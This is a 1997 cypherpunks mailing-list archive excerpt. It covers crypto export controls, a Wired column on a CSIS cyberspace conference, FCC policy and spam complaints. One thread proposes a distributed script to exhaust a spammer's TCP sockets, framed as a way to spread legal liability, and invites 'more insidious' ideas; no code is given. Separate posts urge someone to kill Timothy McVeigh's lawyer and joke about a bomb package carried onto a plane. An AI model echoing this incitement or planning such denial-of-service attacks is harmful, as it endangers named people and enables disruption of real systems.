> At 2:05 AM -0700 8/15/97, Bill Stewart wrote:
> >At 05:35 AM 8/14/97 +0000, Vipul Ved Prakash wrote:
> >
> >Since then, they've changed the laws, and the PERL RSA has gotten shorter...
> >
> >Of course, it's not a violation for Adam - he's not an American :-)
> 
>  But of course Adam was seen within U.S. borders wearing such a
> shirt. This means the act of importation had occurred, regardless of
> where Adam came from (and regardless of where the shirt was made,
> etc.).

Made in UK, imported into US from UK, and then re-exported.

> And once imported, code becomes subject to all of the usual ITARs and
> related laws. (They changed the name "ITAR" to something else, which I've
> forgotten...no doubt 5 people will post one-liners telling me what it is.)

EAR.  But it was still ITAR at the time.

> So unless Adam disposed of this shirt, to a bonafide American or
> America-approved subject, before his departure from the U.S. last summer....

Nope, I wore it out again (under another garment -- concealed
munitions).  Had another one in my luggage which they searched.  My
luggage was searched on the way in and on the way out, and lots of
nosy questions were asked too.  Walked straight through both times in
the UK.

> Perhaps a DEA snatch team can be pressed into service to nab him in
> England, drug him, wrap him in tarps, and spirit him onto a C-5
> cargo plane headed for the Land of the Freeh.

That'd be nice, a freeh holiday :-)

There are I think a number of US people who have worn them through US
borders.  Perhaps we should collectively turn ourselves in and demand
they enforce the law.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 16 Aug 1997 04:54:53 +0800
To: cypherpunks@toad.com
Subject: why not cyberian?
Message-ID: <vLVJfW5nKteCzGYKpF7qpQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Everyone's so fond of promoting the RC5 effort run by distributed.net.  Why
aren't more people using the Cyberian software from cyberian.org?  The
clients are faster, and instead of blowing the money on Project Gutenberg - a
dubious cause, to be sure - a healthy chunk goes right to the winner.

RC5Monger (aka GreedMonger)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 16 Aug 1997 12:40:10 +0800
To: cypherpunks@cyberpass.net
Subject: state power in cyberspace convention
Message-ID: <199708160433.VAA05010@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message
Date:         Fri, 15 Aug 1997 10:51:09 -0400
From: Kris Millegan  RoadsEnd <RoadsEnd@AOL.COM>
Subject:      Fwd:  ciadrugs] (fwd) The Great Whites Are Worried About the Net
To: CTRL@LISTSERV.AOL.COM

- ---------------------
Forwarded message:
From:   Rickie.A.Slater@Dartmouth.EDU (Rickie A. Slate)
Reply-to:       ciadrugs@mars.galstar.com (The ciadrugs mailing lis)
To:     ciadrugs@mars.galstar.com
Date: 97-08-15 10:24:31 EDT

This is slightly off topic to drugs but relevant to the impact the network
media (like mailing lists) is having on politics. A 2nd message by Katz will
follow.

- --- Forwarded Message  ---

From: HotWired
by Jon Katz
4 Aug 97

A letter arrived last week inviting me to a 2-day conference called "The
Information Revolution: Impact on the Foundations of National Power," to be
held 24-25 Sept. outside Chicago.

"On the threshold of the information age," reads the invitation from the
Washington-based Center for Strategic & International Studies, "many of the
traditional measures of national power appear under challenge."

This stood out immediately from the stack of junk mail piling up on my
kitchen table.

The CSIS is a powerhouse military/national-security think tank whose board
members are listed on its imposing letterhead and include Henry Kissinger,
Zbigniew Brzezinski, Sam Nunn, James R. Schlesinger, Brent Scowcroft, Harold
Brown, Carla A. Hills, and R. James Woolsey.

For those unfamiliar with these names, they include former national-security
advisors, secretaries of state, secretaries of defense, US senators, and
other cabinet secretaries. [And all current members of the Council on
Foreign Relations - except for Sam Nunn - according to *The Insiders:
Architects of the New World Order* (Poster)]

The ambitious focus of this conference, said the invitation, "will be to
examine the impact of the information revolution on economic,
knowledge-oriented, social, and cultural foundations of national power."

It seemed the foundation was offering to fly me and 45 others to Chicago,
and to provide hotel accommodations, meals, and transportation to the
foundation's private conference center.

Anyone who doubts that the digital age is sending shock waves through the
most powerful elements in American business, politics, and journalism ought
to read the panel topics, along with the guest list.

That I am on the list of "invitees" is both a shock and a mortification.

The overall context for the conference, the invitation explains, is the way
the information revolution is putting stress on the fundamentals of national
power. There's some "context," too, about the nature of social revolutions -
the eventual winners and losers.

For all our cyber-chatting, it's a shock to see these Great Whites preparing
to convene to talk so nakedly about national political power and the digital
culture, and even more of a shock to realize that many of our ravings -
about how rattled the power structure is by the liberation of so much
information - are actually truer than we even know.

This group will have five panels:

First, there's "Economic Might as an Element of National Power," to explore
how the task of generating robust economic resources for the citizenry and
government are being challenged by the forces of globalization and
internationalization. "How," asks the letter, "does the information
revolution affect a nation-state's ability to marshall and control its
economic resources in support of its leaders' and peoples' objectives?" And
"What are the working and theoretical models that promise the most success
in adjusting national economic power to the realities of the information
revolution?"

And you thought you were just downloading cool software or browsing neat new
sites.

The second panel topic, "Knowledge Acquisition as an Element of National
Power,"  addresses what $E3is the most effective mechanism for addressing the
task of strengthening national power through the cumulative acquisition of
knowledge by a nation-state$E2s citizens and institutions?$E4

Panel three is $E3Civic Dynamics as an Element of National Power.$E4

The description for this panel says the information revolution $E3has been
forecast to usher in a new age of mankind, fundamentally changing civic
structures and roles by impacting the nature of work, the bonding of groups
and individuals, and the role of the citizen.$E4

The description adds: $E3The societal transition results from the industrial
revolution was accompanied by a transition to a set of nation-state
mechanisms for domestic and international relations. Can we expect another
tectonic shift in civic structure and national mechanisms as a result of the
information revolution?$E4

Panel four addresses the subject of $E3Cultural Identify as an Element of
National Power.$E4

Culture has served to bind people across generations, says the brochure, but
the $E3information revolution delivers culture to any people at any place.
What is the future role of culture as a cohesive binding force between
peoples who are located and/or share a common interest? Can ethnocentric
culturalization withstand the homogenizing battering ram of the information
revolution? How do a people balance the enriching and eroding effects of the
information revolution on their own unique culture?$E4

The last panel is entitled $E3Rethinking National Power in an
Information-rich
World.$E4

The information revolution, says the CSIS, $E3appears, in at least some
cases,
to have fundamentally altered the state$E2s conception of, and ability to
exercise, national power. The rise of new, nonsovereign authorities and
global forces suggest that the traditional equation of national power will
continue to change; others, however, insist that classical conceptions of
power will remain valid, the information revolution causing only marginal
changes.$E4

Each panel, says the invitation, will be accompanied by an academic paper to
help $E3focus$E4 discussion.

Wow, I thought, while reading over the topics.

These people are disturbingly smart, if clunky panel-topic writers. They$E2ve
fully grasped what hasn$E2t yet occurred to William Bennet or The New York
Times or Bill Clinton or Al Gore - that the rise of the digital age has
little to do with pornography, stolen term papers, or email-addicted
students. It has to do with raw power - who gets, defines, and controls it,
and for what purpose.

The CS
IS board cares much about this.

Its members comprise a blue-ribbon list of what used to be called the
military-industrial complex. That it would convene all these interested
parties, fly them to Chicago from all over the country and world, and stuff
them with canapes (and entertainment and museum tours) at great expense is a
striking affirmation of how seriously the Net and the Web are being taken in
the real corridors of power.

This letter read not so much like an invitation to talk abut the Net but an
X-Files script mailed to the wrong address. I expect Cigarette Man will be
sitting in the rear of the conference center, leering, puffing away, and
smiling wryly at the attendee$E2s naive notions of how power really works.

I won$E2t be there, though. In my next column, I$E2ll explain why and share
the
list of other $E3invitees.$E4

- -----------------------------------------------------
This article appeared originally in HotWired
Copyright 1993-97 Wired Ventures, Inc. and Affiliated Companies. All rights
reserved.


- ---
For list service help, send a message to ciadrugs-request@mars.galstar.com
with a subject of HELP.

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 16 Aug 1997 12:50:12 +0800
To: cypherpunks@toad.com
Subject: Re: None
In-Reply-To: <nmO+r0PTXZiMRXjF1cvvnw==@bureau42.ml.org>
Message-ID: <199708160435.XAA23333@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <nmO+r0PTXZiMRXjF1cvvnw==@bureau42.ml.org>, on 08/16/97 
   at 04:05 AM, bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
said:

>bureau42 Anonymous Remailer wrote:
>> 
>> Everyone's so fond of promoting the RC5 effort run by distributed.net.  Why
>> aren't more people using the Cyberian software from cyberian.org?  The
>> clients are faster, and instead of blowing the money on Project Gutenberg - a
>> dubious cause, to be sure - a healthy chunk goes right to the winner.
>> 
>> RC5Monger (aka GreedMonger)

>  If these people don't even know how to spell "Siberian" then why should
>we trust their math skills?
>  Not that I'm a troublemaker...

>TroubleMakerMonger

What does one's spelling have to do with one's math skills???

LogicMonger

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 16 Aug 1997 15:08:37 +0800
To: cypherpunks@cyberpass.net
Subject: Katz, Wired, and Clueless Conferences on Cyberspace
In-Reply-To: <199708160433.VAA05010@netcom13.netcom.com>
Message-ID: <v03102801b01af99fb109@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




It seems that Jon Katz of "HotWired" (TM), or "Wired" (TM), or whatever, is
mightily impressed that he was invited to meet some bigwigs in Chicago to
chart the future of cyberspace.

Well, BFD. These conferences, populated by Carter, Reagan, Bush, and maybe
even Clinton era functionaries, are the conference equivalent of the rubber
chicken circuit. I mean, what _else_ are Al Haig and Zbigniew Brezinski
supposed to do? A while back it was "infrastructure," then it was "the end
of Communism," then it was "the rise of Islamic fundamentalism," and now
it's "cyberspace." Gotta keep up with what's hip, what's cool, what's
"relevant" (as my generation used to say).

And this is not just sour grapes on my part for not having been invited to
this shindig with Al and Zbig and Esther and the other policy wonks....

See, I _think_ I was invited to one of these things, put on by CSIS, two or
three years ago. I shined them on (street talk for "I declined"), as it was
pretty obviously just a bunch of old farts opining about things they knew
little of, with no willingness to be shaken out of their corporate-military
outlook.

(Hey, I could be wrong about the thing I was invited to being put on by the
CSIS. I was active on the Cyberia-l list at the time, and I recall the
conference being in the midwest somewhere, with a bunch of typical
McNeil-Lehrer (no longer McNeil) talking heads and a sprinkling of familiar
names from CFP and related conferences. I was contacted at least twice
about attending various such conferences, and I recall one of them being
sponsored by the CSIS. Needless to say, I declined.)

Think of these conferences as "CFP for the less clued." Considering how
boring and worthless CFP is, high praise indeed.

Comments on Katz's article follow:

At 9:33 PM -0700 8/15/97, Vladimir Z. Nuri wrote:
>------- Forwarded Message
>- --- Forwarded Message  ---
>
>From: HotWired
>by Jon Katz
>4 Aug 97
>
>A letter arrived last week inviting me to a 2-day conference called "The
>Information Revolution: Impact on the Foundations of National Power," to be
>held 24-25 Sept. outside Chicago.
>
>"On the threshold of the information age," reads the invitation from the
>Washington-based Center for Strategic & International Studies, "many of the
>traditional measures of national power appear under challenge."
...
>That I am on the list of "invitees" is both a shock and a mortification.

Yeah, it mortifies me, too. But it doesn't shock me...after all, any
cyberspace conference needs at least one "Wired" staffer to give it "street
cred" (or whatever the whippersnappers call it).

As we saw recently, in Japan the future of surveillance is determined with
the help of hipcrime vocab pseudo-journalists like Joichi Ito.  Kind of
like hiring Nickie Halflinger to develop anti-hacking policies.

>For all our cyber-chatting, it's a shock to see these Great Whites preparing
>to convene to talk so nakedly about national political power and the digital

Ah, the "Wired" invocation of "Great Whites." At least Katz didn't call
them "dead white males."


>This group will have five panels:
>
>First, there's "Economic Might as an Element of National Power," to explore
...
>The second panel topic, "Knowledge Acquisition as an Element of National
...
>Panel three is $E3Civic Dynamics as an Element of National Power.$E4
...
>Panel four addresses the subject of $E3Cultural Identify as an Element of
>National Power.$E4
....
>The last panel is entitled $E3Rethinking National Power in an
>Information-rich
>World.$E4

As the prototypical "Wired" reader would doubtless say, "B-o-o-o-r-i-n--g!!!!!"

>Wow, I thought, while reading over the topics.

Wow! Like, I mean, this dude is, like, easily impressed. Know what I mean?

>These people are disturbingly smart, if clunky panel-topic writers. They$E2ve
>fully grasped what hasn$E2t yet occurred to William Bennet or The New York
>Times or Bill Clinton or Al Gore - that the rise of the digital age has
>little to do with pornography, stolen term papers, or email-addicted
>students. It has to do with raw power - who gets, defines, and controls it,
>and for what purpose.

Sounds like something out of "Wired."

Remind me again never to buy this magazine.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 16 Aug 1997 08:24:31 +0800
To: cypherpunks@toad.com
Subject: Thanks again to the HIP'97 team
Message-ID: <3.0.2.32.19970816020856.006c55d8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I am just starting to catch up on my email. Organizing the Cypherpunks
presence (and the Cypherpunks entertainment program :) at HIP was quite an
effort and the site clean-up took a while as well. But I am pretty certain
that everybody that was there will attest that the experiences was worth
every bit of work that went into it. I would be hard pressed to come up
with an example of when I had so much fun for so long.

My thanks go out to the PGP 5.0 proofreading team that kept working 24 hour
a day even in the midst of a raging techno tent party. Ian Gigg,
Autonomasia, Mark Cox, and the late night networking crew from the Field
HQ, you guys rule. 
Special thanks to Rop and Maurice for organizing the festival in the first
place.

See you all in four years for Hacking At Large: HAL2001.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 16 Aug 1997 15:26:45 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Katz, Wired, and Clueless Conferences on Cyberspace
In-Reply-To: <v03102801b01af99fb109@[207.167.93.63]>
Message-ID: <199708160724.CAA24957@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102801b01af99fb109@[207.167.93.63]>, on 08/16/97 
   at 12:07 AM, Tim May <tcmay@got.net> said:

>Sounds like something out of "Wired."

>Remind me again never to buy this magazine.

I bought one or two when it first came out. Too many adds for my liking (I
think 25% of the rag was glitzy adds aimed at Gen-Z crowd). I'll
occassionally flip through one when I am killing time at the coffee shop.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=yGir
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 16 Aug 1997 12:20:49 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <nmO+r0PTXZiMRXjF1cvvnw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> 
> Everyone's so fond of promoting the RC5 effort run by distributed.net.  Why
> aren't more people using the Cyberian software from cyberian.org?  The
> clients are faster, and instead of blowing the money on Project Gutenberg - a
> dubious cause, to be sure - a healthy chunk goes right to the winner.
> 
> RC5Monger (aka GreedMonger)

  If these people don't even know how to spell "Siberian" then why
should we trust their math skills?
  Not that I'm a troublemaker...

TroubleMakerMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 16 Aug 1997 11:02:29 +0800
To: cypherpunks@toad.com
Subject: Re: Getting back at spamford (fwd)
Message-ID: <199708160248.EAA26108@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Ray Arachelian <sunder@brainlink.com> writes:
> 
> > Subject:      Need contributions to slow Cyberpromotions down..
> > From:         Peter Cumming <pcumming@ix.netcom.com>
> 
> Cummings is a dangerous nut.

  All the better...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 16 Aug 1997 22:07:46 +0800
To: cypherpunks@toad.com
Subject: Re: 'Friendly Fire' in Spam War Claims Victim
In-Reply-To: <3.0.3.32.19970815194246.007b0e40@caprica.com>
Message-ID: <gN6iBe7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> >I have seen little evidence that Scientologists have incorrect notions
> >regarding accounting.
> >Truth telling is another matter.
> >For Shiva's sake do not sue the Scientologists!
>
> Earthlink folk are Scientoz?  If so, didn't know that.

Sky Dayton and a bunch of other top managemnt are Co$ members.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 16 Aug 1997 18:04:15 +0800
To: cypherpunks@toad.com
Subject: Re: state power in cyberspace convention
Message-ID: <199708160953.LAA04010@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bladder Z. Neurotic wrote:

> From: HotWired
> by Jon Katz
> A letter arrived last week inviting me to a 2-day conference called "The
> Information Revolution: Impact on the Foundations of National Power," to be
> held 24-25 Sept. outside Chicago.
... 
> For those unfamiliar with these names, they include former national-security
> advisors, secretaries of state, secretaries of defense, US senators, and
> other cabinet secretaries.

> That I am on the list of "invitees" is both a shock and a mortification.
> I won't be there, though. 

Jon,
  I think you should go to the conference.
  As a matter of fact I have already prepared a package I would like you
to take along with you. It should be hand-carried on the plane so that
it will not be bumped about during your flight.
  Details to follow.

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 17 Aug 1997 01:46:19 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Not enough phone competition? Answer: regulate more!
In-Reply-To: <Pine.GSO.3.95.970814133230.27569A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970816121312.28460A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



Regulate more?  Unaccustomed as I am to defending the FCC,
the proposal described below is to regulate *less*, not
more.  Leaving the introduction of local competition to 
state regulation isn't getting the job done, is the implicit
message in Hundt's speech--together with, "I wish the Eighth
Circuit had ignored the law and upheld our national pricing 
rules instead of enjoining them," and "There's gotta be some
way I can get out of SBC's home court in Wichita Falls, the
latest place they've sued me."

In other words, whatever its litigative motivation, what's
proposed is less regulation and fewer regulators, not more.
MacN

On Thu, 14 Aug 1997, Declan McCullagh wrote:

> <B>By JEANNINE AVERSA<P>
> <B>Associated Press Writer<P>
> 	WASHINGTON (AP) - Just 18 months after Congress deregulated the
> communications industry, the nation's top telephone regulator asked
> lawmakers Thursday for more tools to bring Americans local phone
> competition.
> 	"So far, scarcely any local competition has been delivered to
> residential or business consumers," Federal Communications Commission
> Chairman Reed Hundt said in a speech to the American Enterprise Institute.
> 	"We have a major challenge to introduce competition in the local
> telephone markets and that challenge is not yet being met," he said.
> 	Hundt asked Congress to write into law provisions:
> 	-Giving the FCC authority to set national pricing rules for those
> seeking access to local phone networks.
> 	-Requiring courts to defer to reasonable FCC judgments in disputes
> over the telecommunications law.
> 	-Consolidating appeals over the telecommunications law and FCC
> rules before a single unspecified court.
> 	-Creating a national policy to enforce the telecommunications law,
> giving the FCC power to compensate injured parties. The FCC now can order
> violators to stop breaking the law and fine offenders.
> 	Congressional hearings into the slow pace of local phone
> competition are slated for this fall.
> 	Sen. John McCain, R-Ariz., chairman of the Commerce Committee that
> oversees telecommunications policy, said when asked about the proposals,
> "I do not think that giving the FCC more authority to regulate is the
> answer."
> [...]
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 17 Aug 1997 01:09:48 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: state power in cyberspace convention
In-Reply-To: <199708160953.LAA04010@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970816124409.18069A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



This isn't the first such conference. I went to a "Virtual Diplomacy" conf
a few months ago sponsored by a USG-affiliated (or funded) entity, at same
the Connecticut Ave hotel where the Presidential Inaugural Ball was held. 

In attendence were many ambassadors, generals, and assorted Foggy Bottom
bureaucrats. (Aside from the campaign trail, I've never before seen so
many security men in one place before.) And the topics were the same...

-Declan




On Sat, 16 Aug 1997, Anonymous wrote:

> Bladder Z. Neurotic wrote:
> 
> > From: HotWired
> > by Jon Katz
> > A letter arrived last week inviting me to a 2-day conference called "The
> > Information Revolution: Impact on the Foundations of National Power," to be
> > held 24-25 Sept. outside Chicago.
> ... 
> > For those unfamiliar with these names, they include former national-security
> > advisors, secretaries of state, secretaries of defense, US senators, and
> > other cabinet secretaries.
> 
> > That I am on the list of "invitees" is both a shock and a mortification.
> > I won't be there, though. 
> 
> Jon,
>   I think you should go to the conference.
>   As a matter of fact I have already prepared a package I would like you
> to take along with you. It should be hand-carried on the plane so that
> it will not be bumped about during your flight.
>   Details to follow.
> 
> TruthBomber
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 17 Aug 1997 05:37:32 +0800
To: cypherpunks@cyberpass.net
Subject: Picketing With Packets
Message-ID: <19970816212754.10722.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I availed myself of some free home page enhancements on the Web
yesterday, and all of a sudden, my SPAM has increased by at least
an order of magnitude.  Obviously, one or more of the sites I
visited sold my email address to Mr. Spamford.

I am now getting almost continuous Cyberpromo, EmailBlaster, and
SubmitKing mailings as well as one from some female entrepreneur
in Singapore who wants me to send her US$10 to email me obscene
stories.  (sigh)

The time has come to make an example of Wallace Spamford, and to
mount his stuffed carcass on the gates of the Internet as a
warning to those who might be tempted to follow in his footsteps.

The following was suggested to me by someone on IRC this morning,
and I think it's a pretty nifty idea.  We write a little Perl
script that keeps exactly ONE AND ONLY ONE TCP connection open to
each of Mr. Spamford's machines.  Keeping a single TCP connection
open to someone's box is unlikely to be illegal, and does not
constitute a Denial of Service attack.  Consider it the packet
equivalent of a single person picketing.

We publish the script, and encourage every Sysadmin who hates Mr.
Spamford to run it.  When thousands do so, he will be out of
sockets, and consequently out of business.  Consider this the
packet equivalent of the UPS strike.  We can make the scripts
clever, and have them goose a wide variety of ports on Mr.
Spamford's machines.  He can, of course, devise a technical
defense against this, but he does not have one installed at
present, and it will shut him down for the time being, and give
him sufficient time to ponder his evil ways.

This also has the advantage of distributing the liability over
thousands of individuals, a technique shown in the recent uunet
UDP to render legal redress impractical.

Anyone have any comments on this scheme, or anything even more 
insidious to suggest?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Sun, 17 Aug 1997 06:23:02 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:McVeigh on McVeigh
Message-ID: <199708161556.PAA17771@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:27 PM 8/15/97 -0800, you wrote:
>  Amen!!!
>  More money was spent on McVeigh's defense than on O.J.'s prosecution.
>For fifteen million dollars, McVeigh's lawyer couldn't be troubled to
>raise his voice in his client's defense.

Funny thing is, if O.J. was, say, a bus-driver with food stamps, how long do you think *his* trial would be?

Besides, McVeigh's trial wasn't about truth or justice.  It was all about getting revenge, drawing blood, satisfying the bloodthirsty people of America.

>  There are a handful of lawyers I respect as having the skill and the
>integrity to properly defend me to the max, but I wouldn't give you two
>cents for McVeigh's government-bought schill.

McVeigh's lawyer was probably influenced (read: leaned on) by government fascists, so that McVeigh would die.

>  The role of McVeigh's attorney was to placate the American people's
>sense of "justice" without rocking the boat. He didn't upset the
>American people, he didn't upset the judge, the prosecutor, his golfing
>buddies, or the court house restroom attendant.

Very different from say, Atticus Finch, in "To Kill a Mockingbird".  He defended a black man, in a place and time very against that.  While this government controlled dickless loser that was McVeighs lawyer, didn't prosecute like a man, because then he'd be blacklisted and treated like shit.

>  He did upset me, however, and that might turn out to be a big mistake
>on his part.

If anyone out in this world feels like bumping off McVeighs lawyer, please do so.  We need less lawyers like him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 17 Aug 1997 07:31:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Picketing With Packets
In-Reply-To: <uLuJBe4w165w@bwalk.dm.com>
Message-ID: <19970816232134.20321.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

 > In all fairness, in addition to Stanford Wallace, there are
 > several other spammers sending out junk e-mail. If you
 > completely eliminate Stanford and his company, you will
 > STILL get junk e-mail.

If Mr. Spamford were terminated with extreme prejudice, my junk
email would be reduced to managable levels.

 > Perhaps this will spark another round of a cypherpunk
 > discussion of technical solutions to junk e-mail...

I'm tempted to go some sort of postage route myself, but I
occasionally get mail from newbies who have never written me
before, and who occasionally have something interesting to say.

 > I placed myself on a zillion "remove" lists.  Now I no
 > longer get any junk e-mail of interest (which I did on rare
 > occasions), but still get at least once a day an MMF and/or
 > an ad for a sex site.

 > I'll tell you what I did, if anyone cares to spend a little
 > time emulating what I did.

 > Visit these two sites and jump through the loops:

It is not *I* who should do the hoop-jumping in order to keep my
mailbox free of garbage.

 > Send an e-mail with a "remove" in the subject to the
 > following collection of addresses. I keep track of when I
 > send in a semi-automatic ";remove" request. Quite a few of
 > them keep on sending junk e-mail despite the remove
 > requests. Some may add you to their junk mail list when they
 > get your remove request if you're not on it already.

Again, I will forward *ALL* my email to /dev/null before I kowtow
before some humongous list of offenders.

[Very Long List Snipped]

Additionally, a lot of mail is of the "This is the only mailing
you will receive from us" variety.  Getting 50 a day of those can
be royally annoying as well.

I am tempted to launch a few thousand packets in the direction of
any IP which sends me unwanted material trying to sell me
something.  If everyone did this, spamming machines would be
buried in a packet snowstorm within a few minutes of starting
operations.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 17 Aug 1997 06:25:10 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <19970816212754.10722.qmail@zipcon.net>
Message-ID: <uLuJBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> I availed myself of some free home page enhancements on the Web
> yesterday, and all of a sudden, my SPAM has increased by at least
> an order of magnitude.  Obviously, one or more of the sites I
> visited sold my email address to Mr. Spamford.
...

In all fairness, in addition to Stanford Wallace, there are several
other spammers sending out junk e-mail. If you completely eliminate
Stanford and his company, you will STILL get junk e-mail.

Perhaps this will spark another round of a cypherpunk discussion of
technical solutions to junk e-mail...

I placed myself on a zillion "remove" lists.  Now I no longer get any
junk e-mail of interest (which I did on rare occasions), but still
get at least once a day an MMF and/or an ad for a sex site.

I'll tell you what I did, if anyone cares to spend a little time
emulating what I did.

Visit these two sites and jump through the loops:

http://www.thehitman.com/
http://www.iemmc.org/validate.html

(You may also want to check out these Web sites:

http://drsvcs.com/nospam/
http://pages.ripco.com:8080/~glr/nojunk.html
)

Send an e-mail with a "remove" in the subject to the following collection
of addresses. I keep track of when I send in a semi-automatic ";remove"
request. Quite a few of them keep on sending junk e-mail despite the
remove requests. Some may add you to their junk mail list when they
get your remove request if you're not on it already.

1health@zeecom.com
1stfam@regulus.net
access@1stfamily.com
access@1stfamily.com
addresses@answerme.com
admin@t-3net.com
alpha1@delapaz.com
askme@homepowerbiz.com
babbling2@answerme.com
babbling@answerme.com
ballman@t-1net.com
bannonj@mail.albany.net
bannonj@ofns.com
billm@ascella.net
bizman@savetrees.com
bizop@zignzag.com
bld892@hotmail.com
bowdie@regulus.net
campaign@arialsoftware.com
canceranswer@eom.net
carproinc@savetrees.com
cleanair@spica.net
clubmail@com3xbz.riser.net
clubmail@net5xai.riser.net
credit2u@savetrees.com
ctn@cartridgetechnology.com
cyber@cura.net
cyber@netlane.com
dayton@onramp.net
desp@answerme.com
details1@savetrees.com
dlsnet@savetrees.com
editors@commonwealthpub.com
enjoylife7@savetrees.com
ernie@mlmail.com
feedback@amazon.com
feedback@fawcette.com
fundsrecovery@savetrees.com
future@successmail.com
genesis@savetrees.com
globalnet8@savetrees.com
grow@savetrees.com
heavensgate777@hotmail.com
help@microsmarts.com
help@savetrees.com
hitinfo@rapidconnect.com
hj11@tellthem.com
htmp@rapidconnect.com
iconsult@cyberpromo.com
ims@cyberpromo.com
imsco@cyberpromo.com
incomeonline@nevwest.com
info@spec-fx.com
info@tsf-industries.com
jimjohn12@workload.com
josplace@lostvegas.com
jrosato@ascella.net
lninfo@savetrees.com
lvc@lvcpub.com
macs@answerme.com
